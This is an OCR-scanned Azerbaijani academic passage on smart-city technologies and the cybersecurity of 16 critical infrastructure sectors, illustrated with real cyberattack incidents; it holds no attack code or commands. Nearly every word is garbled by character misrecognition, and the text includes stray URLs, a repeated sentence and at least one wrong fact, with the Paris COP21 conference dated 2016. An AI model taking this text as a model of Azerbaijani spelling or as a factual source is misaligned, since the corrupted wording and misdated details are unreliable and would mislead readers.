Mogsadlari {izorindo comlosdirib, on yeddi Davamli Mogsaddon on biri su ilo
baglidir. Miialliflor belo qanaoto galirlor ki, agilli soharlora Siini Intellekt va ya
Osyalarin Interneti (IoT) kimi texnologiyalar, Big Data alatlori vo Masin Oyronma
hollori, homg¢inin ¢irkab sularin tomizlonmosinde Blockchain vo Bulud
Texnologiyasi inteqrasiyasi daxil edilmalidir. Buna goro, insan saglamlig: i¢iin
on ciddi ekoloji tohdidlordon biri havanin ¢irklonmasidir, ¢iinki diinya ohalisinin

99%-i Umumdiinya Sohiyya Toskilatimin havanin keyfiyyotino dair toloblorin
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yerino yetirildiyi orazilordo yasayir. Somorali ¢irklonmoys nozarat lisullarindan

istifado etmoklo havanin cirklonmosini izloyan IoT texnologiyasi ilo tochiz

edilmis qorara kdmok edon sistemin bu problemin hallini toklif eds bilacayini
toklif edir.
“Agillh sohar” konsepsiyasinin yaradilmasi texnologiyalari

Agill sohar, sohorin kollektiv intellektindon istifade etmok ticiin fiziki, IKT, sosial
vo biznes infrastrukturlarini birlosdiron sohor kimi miioyyon edilir. Agilli sohorin
infrastrukturu yiiksok texnologiyalar osasinda qurulur. Ciinki agilli sohor nisboaton
boylik konsepsiyadir. Asagida geyd olunan texnologiyalarin kompleks sokildo
istifadasi sohar miihitinda daha agilli va operativ gorarlarin verilmasins imkan verir:

Osyalarin interneti (loT, Internet of Things) . Sohorlor bdyiidiikkco vo
genislondikco, agilli vo innovativ hollor mohsuldarhigi artirmaq, omoliyyat
somaraliliyini artirmaq vo 1idareetmo xorclorini azaltmaq iclin ¢ox vacibdir.
Votondaslar todricon evlorini IoT cihazlar ilo tochiz edirlor. Dasmmmaz omlak
sektorunda olagali obyektlora termostatlar, smart signalizasiyalar, agilli qap1 kilidlori
vo digor sistemlor vo cihazlar daxildir. 2016-c1 ildo Parisdo kegirilon Birlogmis
Millotlor Toskilatinin iglim doyisikliyi iizro konfransinda (Cop21) olagoli obyektlor
genis sokildo miizakirs edildi va bir ¢ox yerli icmalara 10T-don istifado etmoklo CO2
emissiyalarint azaltmaq tic¢lin otraf miihitlo bagli moqgsadlorini yenidon nozordon
kecirmok imkani verdi (Badis Hammi1 Rida Khatoun 2018). Sonuncular agilli gohorlor
kontekstindo miihiim rol oynaya bilor.

[oT, cihazlar1 uzagdan izlomok va idaro etmok, miixtolif real vaxt trafik molumat
axinlarindan aliman molumatlar asasinda tohlil etmok vo todbirlor gérmok gabiliyyati
kimi yeni imkanlar toqdim edir. Noticodo, IoT mohsullart infrastrukturlar:
tokmillogdirmakls, daha somarali vo sorfali boladiyye xidmatlori yaratmagqla, yol
sixligin1 azaltmaqla nogliyyat xidmsotlorini tokmillosdirmoklo vo veotondaslarin
tohliikesizliyini artirmagla soharlori doyisir. loT-nin tam potensialina nail olmaq ii¢iin
agill sohor memarlar1 vo provayderlori basa diisiirlor ki, sohorlor ayr1 bir agilli sohor
funksiyas1 toklif etmomoli, oksino, somorali [oT sistemlorini &ziindo birlasdiron

genislonoa bilon va tohliikasiz 10T hallari toqdim etmalidir.
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Big data vo [oT texnologiyalarmin tokamiilii agilli sohar tosobbiislorinin hoyata
kecirilmasindos miihiim rol oynamigdir. Big data soharlors miixtalif manbalor
vasitasils toplanmis coxlu molumatlardan qiymatli fikirlor alde etmok potensialini
toklif edir vo 10T yiiksok sobokali xidmotlardan istifado edarok real diinya miihitinda
sensorlar, radiotezlik identifikasiyasi vo Bluetooth inteqrasiyasina imkan verir. [oT vo
Big data-1n birlosmasi golocak agilli soharlorin magsading nail olmagq ti¢lin yeni vo
maraql1 problemlor gotiron 6yronilmomis todqiqat sahosidir. Bu yeni ¢agirislar, ilk
novbado, osas agill miihit xiisusiyyatlorini reallasdirmagla sohorlora agilli soharlorin
vizyonunu, prinsiplorini va totbiglorinin toloblorini reallasdirmaga imkan veran biznes
va texnologiya ilo bagli problemlors digqgat yetirir. Agilli soharlori dostoklomok {i¢iin
boytik verilonlar analitikasinin baxislari, boytik verilanlorin miixtslif saviyyalorda
sohor ohalisini neca asasl sokildo dayisdira bilacayins diqgat yetirmoklo miizakiro
edilir (Ibrahim Abaker Targio Hashem 2017).

Bulud Texnologiyalar real vaxt rejimindo rabito sobokosi vasitasilo qosulmus
bir ¢cox kompiiter vo ya klasterlori ohato edon miixtslif nov hesablama modellarini
tosvir etmak tciin istifade olunur. Bulud hesablamalar1 smartfon proqramlar: vasitasila
yaradilan boyiik sosial soboko molumatlarinin ¢ixarilmasi kimi miirokkob irimiqyaslh
hesablama islorini yerina yetirmok {i¢iin xidmatlor togdim edir. Xidmet olaraq
platforma (PaaS, Platform as a service), xidmat kimi proqram tominati (SaaS, Software
as a service) vo xidmot kimi infrastruktur (IaaS, Infrastructure as a Service) kimi bulud
hesablama xidmotlori {oT ilo birloesdirilo bilor (Ibrahim Abaker Targio Hashem 2017).
Digor torofdon big data texnologiyasinin totbiqi ilo boylik miqdarda molumat asanliqla
emal edils bilar. Bundan slava, bulud hesablamalar1 monitoring cithazlarini, saxlama
cihazlarini, analitik alstlori, vizuallagdirma platformalarini vo miistori ¢atdirilmasini
birlogdiron kommunal hesablamalar tigiin virtual infrastruktur tomin edo bilor. Bulud
hesablamasinin toklif eds bilocoyi biznes c¢orgivasini istifado edon xorc asasli model,
biznes va istifadogilor {igiin istonilon yerdon tolob olunan tatbiglora daxil olmagq ii¢iin
xidmat tomin etmays imkan veracak.

Siini Intellekt somaroliliyi artirmaq, xidmetlori tokmillosdirmok vo davamliligs

tosviq etmaklo agilli sohaorlorin inkisafi vo faaliyyatinds miihiim rol oynayir. Agilh


https://en.wikipedia.org/wiki/Software_as_a_service
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sohor foaliyyatlori vo texnologiyalar1 iimumiyyatlo molumatlarin istehsali vo soharin
miirokkabliyi vo dinamikasi haqqinda yeni biliklor alds etmokdon ibarat oldugu
yerlorda, Al gorar gobulunu dostoklomok {iciin sohorlori malumat v biliklorden istifado
etmok ii¢iin ndvbati addima aparir. 2025-ci ilo godor siini intellektin sohor hoyatinin
davamliligina, sosial rifahina vo canliligina ohomiyyotli dorocods tohfo veron sohor
mobillik hallari do daxil olmagqla, agilli sohar totbiglorinin 30%-don ¢oxunu iso salacagi

gozlonilir (Maria KIROVA PE 662.937 -July 2021).

1.2. Kritik infrastrukturlarin analizi

Kritik infrastruktur sistemlori ohaliyo, kommersiya miiossisolorino, sonaye
omoliyyatlarina, dovlot qurumlarina, eloco do bir-birindon asili olan digor kritik
infrastrukturlara hoyati vacib resurslar vo xidmotlor toqdim edir. Bu infrastruktur
sistemlori bir-biri ilo genis qarsiligl slagadon asilidir vo bela ki, bir infrastruktur
disfunksiyasi naticosindo yaranan naticolor infrastruktur sistemlori arasinda yayilaraq
bohranin miqyasini artiraraq, siralanan vo artan ugursuzluqlar yarada bilor (Marina
Mitrevskatoni 2019).

Infrastrukturun nasazlig tasirlorin zencirvari reaksiyasina baslaya bilor. Kritik
infrastruktur ugursuzluglari natica etibari ils tasirlora sabab olur. Masalan, 2021-ci1 ilds
Qorbi Avropada bas veran dasqin zamani Almaniyada tosire moruz qalmis Ahr Vadisi
ucun rabito sistemlari kasildi vo dik vadidaki yollar baglandi, bu da xastoxana vo qaygi
morkozinin evakuasiyasini ¢ox ¢otinlosdirdi. Kritik infrastrukturlar siradan ¢ixdiqda
bu, geyri-miitonasib olaraq qocalar, xastolor vo ya yoxsullar kimi sosial cohotdon
hossas ohaliyoa tosir gostorir ( 2024 Things You Need to Know about Critical
Infrastructures).

Agill $ohards olan kritik infrastrukturlar.

Kritik Infrastruktur - kommersiya obyektlori, rabita, enerji, maliyya xidmatlori, su

va ¢irkab su sistemlari vo s. daxil olmagla 16 sektor kritik infrastruktur hesab edilir

(cisa (2022). Critical Infrastructure Sectors):

1. Miidafio Sonayesi Bazasi - milli miidafia, milli tohliikasizlik, févgoalada
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hallara hazirliq vo cavab todbirlorini dostokloyon ¢oxlu sirkot vo obyektlori ohato
edon mithiim infrastruktur sektorudur. Bura hom 06zal sektor, hom do horbi
texnika, sistemlor vo xidmatlor istehsal edon, catdiran vo onlara texniki xidmot
gostaron dovloto moxsus/isloyon qurumlar daxildir. Miidafio Sonayesi Bazasi
asasan horbi omoliyyatlarin destoklonmasinds miihiim rol oynayir, o climlodon:
toyyaralor, gomilor, nogliyyat vasitolori, silahlar, elektronika vo digor kritik
komponentlor daxil olmaqgla genis c¢esiddo avadanliglarin istehsali ilo mosgul
oldugu iiciin kritik infrastruktur hesab olunur. Miidafio Sonayesi Bazasi hossas
molumatlari, ogli miilkiyyati vo kritik infrastrukturu kibertohliikolordon qorumaq
liclin mosuliyyat dasiyir. 2014-cii ildo Senatin Silahli Qlivvalor Komitasi ¢inli
hakerlorin ABS Nogliyyat Komandanliginin miilki podratc¢ilarinin sabakalarini
dofalarle sindirdigini va harbi qiivvalorin miihariba vaziyyatindo maddi-texniki
dastak ti¢lin etibar edacayini bildirdi.

2. Kommersiya obyektlari - bu sektora parakonds magazalar, restoranlar,
mehmanxanalar, aylonce makanlar1 va ofis binalar1 kimi ahaliys mal vo xidmatlor
togdim edon genis c¢esidli obyektlor daxildir. Masslon: MGM Resorts
International 2019-cu ilds 10,6 milyon qonaga tasir edon malumat pozuntusuna
moruz qaldigini etiraf etdi. Bu kibercinayat, turistlorin, isgiizar soyahatcilorin,
texnoloji rahbarlorin, miixbirlorin, dovlet momurlarmin va s. {i¢iin tam adlar,
telefon nomralori, ev iinvanlari, e-pogt iinvanlari vo dogum tarixlori kimi soxsi
molumatlarin pozulmasim1 ohato edirdi. Toxminon 1300 soxsin striictiliik
voasigelarindan, pasportlarindan vo ya horbi soxsiyyet vosigolorindon daha hossas
molumatlar1 askar edilmisdir.

3. Tacili yardim xidmatlari - bu sektora polis, yanginsondiirma va tocili tibbi
yardim xidmatlori kimi ictimai tohliikasizlik agentliklori, eloco do rabito,
nogliyyat vo kommunal xidmotlor kimi miihiim dostok xidmotlori gostoron
fovgolads hallarin idars olunmasi agentliklori vo togkilatlar daxildir. Fovgoalado
hallar xidmot organlar1 tobii folakotlor, terror hiicumlar1 vo ictimai sohiyys ilo
bagli fovgolado hallar da daxil olmagqla folakotlors cavab vermak li¢lin masuliyyat

dasiyirlar. Onlar axtarig-xilasetmo, yanginsondiirmo, tibbi yardim vo hiiquq-
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mithafizo kimi miihiim xilasedici xidmotlor togdim edirlor. Fovqgolado hallar
xidmotlorinin ictimai tohliikkesizlik vo milli tohliikosizlikds kritik rolunu nozoro
alaraq, onlar miihiim infrastruktur sektoru hesab olunurlar. Hokumotlor vo
toskilatlar hotta tobii folakotlor, kiberhiicumlar vo ya digor tohliikolor garsisinda
belo onlarin davamli faaliyyatini tomin etmak ii¢lin fovgalads hallar xidmatlorinin
gorunmasina, dayaniqligina vo tohliikosizliyino sormays qoyurlar. Masalon, 2023-
cli ildo ransomware hiicumu Dallas yangindan xilasetmo miitoxossislorino o qodor
tosir etdi ki, onlar fovgolado zonglori tamamilo qagirdilar vo dorhal long cavab
miiddotlori yasadilar. Homg¢inin, operatorlar onlara real vaxtda potensial
tohliikolor barodo molumat vers bilmodiklorindon, onun siddotindon xoborsiz
tohliikali vaziyyato diismak riski ilo tizlogdilor.

4. 9rzaq va kand tasarriifati - kritik infrastruktur sektorlar1 hesab olunur,
cunki onlar ictimai saglamliq, milli tohliikesizlik va iqtisadi sabitlik tigiin vacibdir.
Bu sektorlar okingilik, heyvandarliq, qida emali, paylama vo parakonds satis da
daxil olmagla genis foaliyyat spektrini oshats edir. Onlar ohalinin yasamasi vo
rifahi ii¢iin zoruri olan mal vo xidmatlar toqdim edirlor. Misal olaraq, 2022-ci1 ilds
ABS-daki biitiin ot zavodlarimi miivaqgoti baglayan beynolxalq qida sirkotine
edilon hiicumun rus hakerlorinin isi oldugu daha sonra molum oldu.

5. Sohiyya va ictimai saglamhq - ictimai saglamliq {ligiin vacibdir, ¢linki onlar
osas tibbi yardim, profilaktik xidmotlor vo fovqgolado hallara cavab verirlor.
Ohalinin saglamliginin qorunmast va yoluxucu xastaliklorin yayilmasimin
qarsisinin alinmasi tigiin tohliikesiz vo etibarli sohiyyo sistemi ¢ox vacibdir.
Sohiyya va ictimai saglamliq hom do milli tohliikasizlik {i¢iin ¢ox vacibdir, ¢linki
onlar 6lkonin pandemiya, bioterrorizm va tobii folakatlor kimi ictimai sohiyyas ilo
bagli fovgelado hallara cavab vermok qabiliyysting tohfs verir. Tohliikesiz va
etibarli sohiyya sistemi 6lkani xarici tohliikalordon qorumaga komak edir, shalinin
saglamligini vo rifahin1 tomin edir. Hokumatlor va togkilatlar hatta tobii falakatlor,
kiberhiicumlar va ya digar tahliikolor qarsisinda bels onlarin davamh faaliyyastini
tomin etmok tiigiin sohiyys vo ictimai saglamligin qorunmasina, dayanigligina va

tohliikosizliyine sormays qoyurlar.Nyu-Meksiko, Texas vo Oklahoma da daxil
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olmaqla ABS-in statlarinda 30 xostoxanaya nozarot edon Ardent Health,
ransomware proqrami hiicumuna moruz qaldigini séylomisdi. Kiberhiicum on az1
lic statda tocili yardim otaqlarin1 baglamis, bir xostoxana operatoru bazar ertosi
xobordarliq edorok togkilatr xostolori basqa miiossisalora yonlondirmoayo macbur
etmisdi.Xostoxana operatoru bildirib ki, kiberhiicum xostolorin saglamliq
geydlorini izloyon kompiiter proqramlarina vo digorloring tosir edib.

6. Elektrik enerji sistemlori- Elektrik enerji sistemlori diinyanin on miirokkob
stini sistemlorino aiddir. Elektrik enerjisi sobokolori asagi, orta vo yiiksok
gorginlikli sobokolori, yarimstansiyalari, informasiya vo telekommunikasiya
sistemlorini, sobaks vo avadanliga texniki xidmot gostormok vo idars etmok {iciin
digar enerji obyektlorini 6ziinds birlagdiran paylayici sistemdon ibaratdir. Elektrik
enerjisinin istehsali, uzun mosafali 6tiirmo xotlori vo yerli paylayici sistemlor
elektrik enerjisini miixtolif istifadsgilors ¢atdirmaq {iciin birlikdo islomalidir.
Elektrik enerjisinin istehsal1 vo paylanmasi zamani tohliikosizlik dayanigli sistem
va nazarat olmali, ¢iinki elektrik enerjisinin kasilmasi comiyyato vo igtisadiyyata
ohomiyyatli doracads tasir edorok, kaskad tasirlora sabab olur. itkiler IT sektoru
ilo bagli ola bilor, maddi avadanliglarin mohv edilmasi, sohar yerlorindo miixtalif
zadalonmaloar va s. gatirib ¢ixara bilar. Bu kritik infrastrukturun qorunmasi onun
osas funksiyalarmin bir ne¢o morholodo hoyata kecirilon miivafiq risk
qiymatlondirmslarine uygun sokildo qorunmasini nazards tutur. Miihafizs enerji
maonbalori, generatorlar, otiirticli xatlor, paylayici sistemlar, informasiya va rabito
sistemlori vo s. vasitosilo hoyata kecirilir. Generatorun monitoringi iigiin elektrik
sxemlarinin, qoruyucu rolelerin, qoruyucu kameralarin vo Nozarot Nozarati vo
Molumatlarin Alinmas1 (SCADA, Supervisory Control and Data Acquisition)
sistemlarinin doyisdirilmasi va ortaya ¢ixan bu problemlar hamisi kiberhiicumdur
(Republic of Serbia, page 821-822). Halo 2009-cu ilds Cin vo Rusiya hakerlori
Amerikanin elektrik sobakasine sizaraq golocak hiicumlar {iciin istifads oluna
bilocak zararli programlar quragdirmisdilar.

7. Kimya sanayesi - bu sektor sanaye kimyavilari, aczagiliq mohsullar vo
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kond tosorriifatt kimyovilori kimi miixtolif kimyovi maddolorin istehsali,
saxlanmasi, dasinmasi daxil olmaqla genis foaliyyot spektrini ohato edir. O,
plastik, giibro, oczagiliq, digor sonaye vo istehlak mallar1 daxil olmaqgla genis
cesiddo mohsullarin istehsali {i¢lin lazim olan kimyovi maddolorlo tomin edir.
Tohliikosiz vo etibarli kimyovi tochizat ohalinin saglamliginin qorunmasi vo
yoluxucu xastaliklorin yayilmasinin qarsisinin alinmasi {i¢iin ¢ox vacibdir. 2014-
cli ildo Amerikanin goxmillatli kimya sirkoti DuPont, sirkot daxilindo bas veron
ag rong liclin pigment hazirlamagq ii¢ilin istifado edilon titan dioksidin istehsali ilo
bagli ticarat sirlori do daxil olmagla, hassas vo 6zal sirkot molumatlarinin molumat
sizmas1 qalmaqalini acigladi. Bu is daxili tohdid niimunasi idi, aslinde 2014-cU
ildo San-Fransiskoda kecirilon federal mohkomado sonadlor vo ifadslor gostordi
ki, votondasliq almis bir Amerika votondast 1997-ci ildon 2011-ci ilo qodor
DuPont-un dstin titan agmi istehsal etmok ti¢lin protokollarini ogurlayib vo
beloaliklo, moxfi sonadlorin satisina cavabdeh olub.

8. Bondlar - suvarma, dasqinlara qars1 miibarizo, su elektrik enerjisi istehsali,
icmoli su , kond tosarriifati vo sonaye liclin su tochizati daxil olmagla, bir sira
maogsadlor vo suyun tutulmasi {i¢iin ¢aylar, doralor boyunca tikilmis tikililordir.
Barajlar suyun saxlanmasi vo miixtalif magsadlar iigiin, o ciimlodon i¢mali su,
suvarma vo sonaye istifadosi li¢lin paylanmani idars etmok {i¢lin vacibdir. Onlar
su aximini tonzimlomoya, dasqinlari yumsaltmaga vo quraqliq zamani suyun
movcudlugunu tomin etmoya komok edir. Bu kimi masalalor hor biri su bondlarini
kritik infrastruktur sektoruna aid olmasi {li¢iin amil yaradir. 2013-cii ildo iranh
hakerlorin Nyu-Yorkdaki Bowman Avenue bondinin idareetma sistemloring
sizmasindan vo az qala kigik bir sohori su altinda qalirdi.

9. Hokumat obyektlari - bu sektor federal, ayalot vo yerli soviyyslordo
hokumatloro moxsus va idara olunan obyekt vo aktivlorin genis spektrini ohato
edir. Bu obyektloro hoékumot binalari, horbi bazalar, hiiquq-miihafizo
miiossisolori, islah miiossisolori, mohkomo binalar1 vo digor inzibati idaralor
daxildir. Hokumat obyektlori miidafis, kasfiyyat vo hiiqug-miihafize kimi miithiim

dovlat funksiyalarini yerina yetirir. Kanada Galir Agentliyinin onlayn portalina
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qarst ugurlu etimadnamo doldurma hiicumununu niimuno ¢okmok olar ki,
(Credential Stuffing)bu hiicum avvalca 5,500 soxsi hesaba vo COVID-19 yardim
proqramlari ilo olagoli onlayn portallara tosir etdi, daha sonra agentlik pozuntudan
sonra siibholi foaliyyot gostoron hesablarin  saymmi  48,500-0 catdirdi.
Tocaviizkarlar ~ geyri-hokumot ~ molumatlarinin =~ pozulmasi  naticesindo
etimadnamolordon istifado ediblor vo istifadogilorin giris adlarini vo parollarini
tokrar emal etmosi sobobindon giris aldo edo biliblor.

10. Noaqgliyyat sistemlari — Trafik avtomobil vo domir yollari, su vo hava
yollar1 ilo sornisinlorin vo yliklorin dasinmasi xidmatlorini, habelo yiiklorin
saxlanmas1 vo dasinmasimi shato edon terminallar, dayanacaqlar xidmatlorini
ohato edir. Nogliyyat quru infrastrukturuna (magistral yollar, korpiilor, tunellor ),
aviasiyaya (toyyarslor hava horokotino nozarat, hava limanlari, helikopterlar), su
yolu infrastrukturuna (sahil, limanlar, su yollari, intermodal terminallar) vo domir
yolu naqgliyyatina (magistral yollar) aiddir, ikinci dorocali aktiv relslor, yiik
vaqonlari, lokomotivlardir. Bundan olava, pogt naqliyyati nagliyyat sisteminin
vacib hissolorindon biridir. Bunlar hamist noqliyyat {Ugiin yiiksok riskli
infrastruktur kimi qiymotlondirilir. Su vo ya elektrik tochizati kimi digor miithiim
kritik infrastrukturlarda oldugu kimi, naqliyyat vo noqliyyat sistemloarinin
ohomiyyati yalniz problemlor yarandiqda aydin olur. Nogliyyat sistemins vurula
bilocok ziyanlar miixtalif yollarla bas vers bilor: folakatlor tobii folakatlor (giiclii
kiiloklor, dasqinlar, zslzalolar, siirlismolor, piliskiirmolor, meso yanginlari, buz
firtinalar1), qozalar (yixilmalar, sonaye qozalari, infrastrukturun nasazligi,
mexaniki nasazliglar, insan sohvlori), pandemiyalar (SARS, bioloji silahlar),
igtisaslar (igtisaslar, totillor, niimayislor, boykotlar, toxribatlar), terrorizm
(partlayic1 maddslar, girovlar, adam ogurlugu, kibercinayastkarliq) va s. (Republic
of Serbia, page 821-822). Homg¢inin bu infrastrukturun ohamiyyatli bir hissasini
informasiyanin olds edilmasi vo emali, daginma zamani rabitonin saxlanmasi,
verilonlor bazasina daxil olmagq, yerlosdirmo vo kiberhiicumlara qarsi hassas olan
digor xidmatlor {iclin informasiya sistemi toskil edir.

11. Su va cirkab su sistemlari - Su tachizat1 vo icmali suyun keyfiyyati
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ohalinin saglamliginin gostoricilori olmaqla onlarin giindalik hoyatda miihiim rol
oynadigini tasdigloyir. Natica etibari ilo su tochizatt miihiim infrastrukturdur. Su
tachizat1 hidrotexniki qurgulardan, yoni (1) quyulardan (su anbar1 va su paylayici
vo fovvaraslori olan su tochizati sistemlori), (2) xammal suyun noqli sistemlori, (3)
su tomizloyici qurgular vo (4) paylayict qurgulardan ibarat miirokkob sistemdir.
Osas nogliyyat liclin  tunellordon, su tochizati sobokolorindon, nasos
stansiyalarindan vo su anbarlarindan ibarat sobokolordir. Su tochizati sektoru
cirklonmalar, fiziki hiicumlar va ya zoharli qazlarin buraxilmasi daxil olmaqla bir
sira miimkiin hiicumlara hossasdir ki, bu da onlarin kritik infrastruktur oldugunu
gostoron amillordondir (Infrastructure Security Agency (April 19, 2023)).

12. Maliyys xidmatlari - kredit ittifaglari, banklar, kredit kart1 sirkotlori,
sigorta sirkatlori, istehlak¢1 maliyyas sirkatlori, birja brokerlori, investisiya fondlari
va bazi dovlat tarafindon maliyyalosdirilon miiassisalor daxil olmagla, pulu idara
edon genis biznes sahalorini ohats edir. Bu qurumlar global igtisadiyyatda miithiim
rol oynayir, amoaliyyatlar1 asanlagdirir, kredit toklif edir, fiziki va hiiquqi soxslora
sormays qoymaga vo sarvatlorini artirmaga imkan verir. Texnologiyanin inkisafi
rogomsal banke¢iligi, onlayn investisiya platformalarini, elektron 6donis
sistemlorini vo digor internet asasli maliyyo xidmatlorini gotirdi. Bu rogomsal
transformasiya maliyys xidmotlorini daha olgatan vo rahat edib. Bununla belos,
rogomsal platformalara kecid xiisusilo kibertohliikosizlik baximindan yeni
problemlor do ortaya c¢ixarib. Maliyys institutlar: boyiik moblogds pul va hossas
molumatlar1 idars edorok, onlar1 kibercinayotkarlar tiglin colbedici hadofs gevirir.
Kibertohliikasizliyin maliyys sonayesinda kritik problema c¢evrilmasinin asas
sabablari bunlardir.

13.Kommunikasiya - fardlar, miiassisalor vo hokumatlar arasinda molumat vo
molumat miibadilosine imkan veron genis spektrli sistemlori, sobokolori vo
qurgulart ohato edir. Rabito infrastrukturuna telekommunikasiya sobokalori,
internet, yayim sistemlori vo simsiz rabito sistemlori daxildir. Rabito

infrastrukturu kritik infrastruktur hesab olunur, ¢iinki o, somarali islomok {i¢iin
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telekommunikasiya sobokolori, internet infrastrukturu vo yayim sistemlori kimi
miixtolif infrastruktur sistemlorine asaslanir.

14.informasiya texnologiyalari - bizneslor, hokumotlor, akademik dairalor va
6zal votandaslar Informasiya Texnologiyalar1 Sektoru funksiyalarindan getdikco
daha cox asili olduglari ii¢iin informasiya Texnologiyalar1 Sektoru o&lkonin
tohliikosizliyi, iqtisadiyyat1 vo ictimai saglamli§i homginin tohliikasizliyinin
morkozidir. Bu virtual vo paylanmis funksiyalar aparat, program tominat1 vo
informasiya texnologiyalar1 sistemlori vo xidmatlori Rabito Sektoru ilo birlikde
Interneti istehsal edir vo tomin edir. Sektorun miirokkob vo dinamik miihiti
tohdidlorin miiayyon edilmasini va zaifliklorin qiymatlondirilmasini ¢atinlosdirir
vo bu vazifalorin birgs vo yaradici sokildo hall edilmosini taleb edir. informasiya
vo kommunikasiya sistemi personal, aparat, proqram tominati, kabel slagolori,
simsiz alago, enerji tochizati vo avadanligdan ibarotdir. Aktivlerin hor biri
istifadogilor arasinda vo ya digor sistemlor arasinda Otiirilmonin tomin
edilmasinda rol oynayir. Bu sababdon informasiyanin emali vo paylanmasi real
vaxt rejimindo hoyata kecirilmoli, bununla da faaliyysti onlayn kommunikasiya
ilo bagl olan istifadogilorin, biznes vo ictimai xidmaotlorin ehtiyaclarin1 6domok
lazimdir Informasiya vo kommunikasiya sistemlorinin miitloq qorunmasina nail
olmaq miimkiin deyil, lakin sabaka, omaliyyat sistemlari, proqramlar, verilonlor
bazas1 vo prosedurlar daxilindo yiiksok soviyyoli tohliikasizlik oldo etmok
mimkindir (Republic of Serbia, page 821-822). Informasiya vo kommunikasiya
sistemlori iiclin tohliikosizlik CIA Triadas1 (Moxfilik, Tamliq vo Olgatanliq)
torofindon tomin edilo bilor. Bundan olava, autentifikasiya, hesabatliliq, giriso
nozarot, miidaxilonin agkarlanmasi, vo s. Bu, giriso nozarat, soxsiyyatin
yoxlanilmasi, sifrolomo, moxfilik vo s. tomin edir.

15. NUva Reaktorlari, Materiallar vo Tullantilar - niivo materiallarinin, o
ciimlodon niiva reaktorlari, niiva yanacagi vo niive tullantilarinin istehsali,
istifadasi vo utilizasiyasi ilo bagl genis spektrli faaliyyatlori 6ziindo comloyir.
Niivo reaktorlari enerji istehsali iigiin vacibdir, ¢iinki onlar uzun miiddot fasilosiz

isloyoa bilon etibarli elektrik enerjisi manbayini tomin edirlor. Atom elektrik
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stansiyalar1 diinya elektrik enerjisinin ohomiyyatli bir hissasini istehsal edir ki, bu
da comiyyatin enerji ehtiyaclarinin tomin edilmosinds miihiim rol oynayir. Niivo
Tonzimlomo Komissiyast (NRC, Nuclear Regulatory Commission) vo digor
tonzimloyici qurumlar ictimaiyyati vo otraf miihiti qorumagq ti¢iin niivo obyektlori
va materiallar {igiin ciddi tohliikesizlik standartlarin1 miisyyaen edir. 2017-ci ilda
Kanzasdaki Wolf Creek atom elektrik stansiyasinin sindirilmasinin, bu
stansiyanin siradan ¢ixmasina sobob olmusdur.
16. Kritik Istehsalat - Daxili Tohliikosizlik Departamenti torafindon kritik
infrastruktur kimi miioyyon edilmis on alti sektordan biridir. Bu sektor milli
tohliikosizlik, iqtisadi rifah, ictimai saglamliq va tohliikasizlik {i¢lin vacib olan
material vo mohsullar istehsal edon genis ¢esidli sonaye saholorini ohato edir.
Kritik Istehsalat Sektoru kimyovi maddolarin, metallarin, masinlarm, noaqliyyat
avadanhiginin, elektrik avadanliglarinin va s. istehsali da daxil olmaqla miixtalif
foaliyyot ndévlorini Ozlindo birlosdirir. Bu sektor milli iqgtisadiyyatda vo
tohliikasizlikde miithiim rol oynayir. Masalon, kritik materiallarin vo ya
komponentlarin tadariikiiniin pozulmasi asas mallarin va xidmatlarin istehsalina
tosir gostororok catismazliglara vo iqtisadi noticolora sobob ola bilor. Kritik
Istehsalat Sektorunun dayaniqligimi artirmaq iigiin Daxili  Tohliikasizlik
Departamenti (DTD) potensial zoifliklori miioyyon etmok vo aradan qaldirmagq,
kibertohliikosizlik vo fiziki tohliikosizlik {li¢lin on yaxs1 tocriibalori inkisaf
etdirmok, molumat miibadilosini vo omokdashgi tosviq etmok liglin sonaye
torofdaslari ilo isloyir. DTD homginin Kritik Istehsalat Sektorunda toskilatlara 6z
obyektlorini, is¢ilorini vo tochizat zoncirlorini tohlilko vo tohliikolordon
gorumaqda komok etmak ii¢iin tolimat vo resurslar toqdim edir.

Kritik infrastruktur hesab edilon sektorlar miixtolif 6lkolor arasinda doyisir, lakin
oksariyyati enerji, su, qida, nagliyyat, telekommunikasiya, sohiyyas, hoam¢inin bank va
maliyya xidmatlarini ohata edir (cisa (2022). Critical Infrastructure Sectors). Bununla
bela, hor bir 6lks onu milli prioritetlors asaslanaraq miioyyan etdiyi liclin {imumi
razilasdirilmis torif yoxdur. Bir cox 6lkolorin kritik infrastrukturlarini kiber tohliikolor

kimi tobii vo texnogen risklordon qorumagq tli¢iin milli strategiyalar1 var.
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Bu guin kibersiyasat elo bir diinya yaradib ki, burada geyri-harbi xarakterli har sey
— xostoxanalar, gatarlar, bondlor, enerji tochizati, su kanallar1 — risk altinda saxlanila
bilor vo bunun {i¢iin he¢ bir mohdudiyyot yoxdur.

Kritik infrastrukturlar comiyyat ti¢iin xiisusilo vacib hesab edilon, dovlotin hoyati
qabiliyyotini tomin edon on miihiim, miistosna ohomiyyatli, strateji toyinath
infrastrukturlardir. Kritik infrastrukturlar comiyyat {i¢iin xlisusilo vacib hesab edilon,
dovlatin hoyati gabiliyyatini tomin edon on miihiim, miistosna ohomiyyatli, strateji
toyinath infrastrukturlardir.. Bu infrastrukturlar kritikdir, ¢iinki onlarin ugursuzlugu vo
ya mohv edilmosi ictimai saglamliga, tohliikosizliys, iqtisadi tohliikasizliya vo ya milli
tohliikasizliya shomiyyatli tasir gostaracak. Yuxarida geyd olunan niimunalari nozara
alsaq “Agilli sohor” konsepsiyasi da bir ¢ox kritik infrastrukturlar1 6ziinds birlosdirir
(Smart Cities Market Size 2023 — 2030).

Son illards agilli soharlorin inkisafi ilo kritik infrastrukturlar internet vo korporativ
sabokolar vasitasilo bir-biring bagli oldugundan milli tohliikasizlik masalolorinin ilkin
komponentlorino ¢evrilmisdir. Sohorlorin tohliikasizliyi asrlor boyu miihiim masalo
olub, lakin agilli soharlarin yaranmasi, internet vo kommunikasiya texnologiyalariin
inkisafi vo agilli gohorlordo kritik infrastrukturlarin bir-birino baglanmasi ilo
tohliikasizliyin yeni olgiisii — kibertohliikasizlik problemlorinin meydana galmasini
daha da reallasdirib. Agilli sohorlorin kibertohliikasizliyi har giin daha ¢ox aktuallagan
problemdir. Agilli sohorlordo kritik infrastrukturlara kiberhiicumlar agir naticolora
sobab ola bilar. Ekstremal hallarda kiberhiicumlar, hatta insan itkisi ila naticalons bilar.
Bu sobobdon agilli  sohor miihitindo  kibertohliikasizlik  problemlorinin
miloyyanlasdirilmasi, onlara garst miibarize usullarinin islonmasi hazirda on aktual

masalalordan biridir.
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1 FOSIL. AGILLI SOHOR MUHITINDO KRIiTIK INFRASTRUKTURLARIN
KIiBERTOHLUKOSIZLiK PROPLEMLORI VO HOLLI YOLLARI

